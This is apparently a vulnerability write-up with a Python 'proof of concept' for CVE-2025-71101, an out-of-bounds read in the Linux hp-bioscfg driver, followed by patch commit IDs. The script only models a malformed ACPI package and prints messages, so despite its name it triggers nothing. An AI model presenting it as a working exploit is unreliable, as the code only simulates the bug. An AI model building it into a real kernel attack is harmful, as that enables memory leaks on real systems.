CVE-2025-71101: Linux内核hp-bioscfg驱动越界数组访问漏洞

# CVE-2025-71101 PoC - hp-bioscfg out-of-bounds array access # This PoC demonstrates the vulnerability concept (requires kernel debugging environment) """ import ctypes import struct # ACPI package element types ACPI_TYPE_INTEGER = 0 ACPI_TYPE_STRING = 1 ACPI_TYPE_BUFFER = 2 ACPI_TYPE_PACKAGE = 3 class ACPI_OBJECT(ctypes.Structure): _fields_ = [ ('type', ctypes.c_int), ('data', ctypes.c_void_p), ] class MALFORMED_ACPI_PACKAGE: """ Simulates a malicious ACPI package that triggers OOB access in hp_populate_*_elements_from_package() functions. The vulnerability occurs when: 1. elem is within bounds 2. elem + offset (e.g., elem + reqs) exceeds array boundary 3. The code reads enum_obj[elem + reqs] without proper bounds check """ def __init__(self): # Craft ACPI package with ENUM_POSSIBLE_VALUES that has # more elements than the enum_obj array can accommodate self.elements = [] # Element 0: enum type marker self.elements.append(ACPI_TYPE_INTEGER) # type field self.elements.append(1) # count field # Element 1: PREREQUISITES - claims 5 prerequisites self.elements.append(ACPI_TYPE_PACKAGE) self.elements.append(5) # reqs = 5 # Element 2-6: Only 3 actual prerequisite elements # This creates mismatch: reqs=5 but only 3 elements provided self.elements.append(ACPI_TYPE_INTEGER) self.elements.append(1) self.elements.append(ACPI_TYPE_INTEGER) self.elements.append(2) self.elements.append(ACPI_TYPE_INTEGER) self.elements.append(3) # Missing 2 prerequisite elements! # Element 7: ENUM_POSSIBLE_VALUES starts here # enum_obj[elem + pos_values] will access beyond allocated array self.elements.append(ACPI_TYPE_PACKAGE) self.elements.append(10) # pos_values = 10 # The vulnerable code will try to read: # enum_obj[elem + 0] through enum_obj[elem + 9] # But the array was only sized for fewer elements def trigger_vulnerability(self): """ Trigger the out-of-bounds access by calling the vulnerable hp_populate_enum_elements_from_package() function. In real scenario, this would be triggered through: 1. ACPI table manipulation via BIOS or firmware update 2. HP BIOS Configuration Utility 3. Direct ACPI system table modification (requires kernel access) """ print("[*] Triggering CVE-2025-71101 vulnerability...") print("[*] ACPI package structure:") print(f" - Total elements: {len(self.elements)}") print(f" - PREREQUISITES claimed: 5, actual: 3") print(f" - ENUM_POSSIBLE_VALUES offset: 7") print("[*] Vulnerable code will access enum_obj[7+0] to enum_obj[7+9]") print("[!] Out-of-bounds read may occur if array size < 16 elements") print("[*] This could leak kernel memory contents") # Note: Actual exploitation requires: # - Root/privileged access to load malicious ACPI tables # - Or BIOS/firmware manipulation # - HP systems with hp-bioscfg driver loaded return True def main(): print("=" * 60) print("CVE-2025-71101 PoC - hp-bioscfg OOB Array Access") print("=" * 60) poc = MALFORMED_ACPI_PACKAGE() poc.trigger_vulnerability() print("\n[*] Mitigation:") print(" - Upgrade Linux kernel to patched version") print(" - Apply kernel patches from git.kernel.org:") print(" 79cab730dbaaac03b946c7f5681bd08c986e2abd") print(" cf7ae870560b988247a4bbbe5399edd326632680") print(" db4c26adf7117b1a4431d1197ae7109fee3230ad") print(" e44c42c830b7ab36e3a3a86321c619f24def5206") if __name__ == "__main__": main()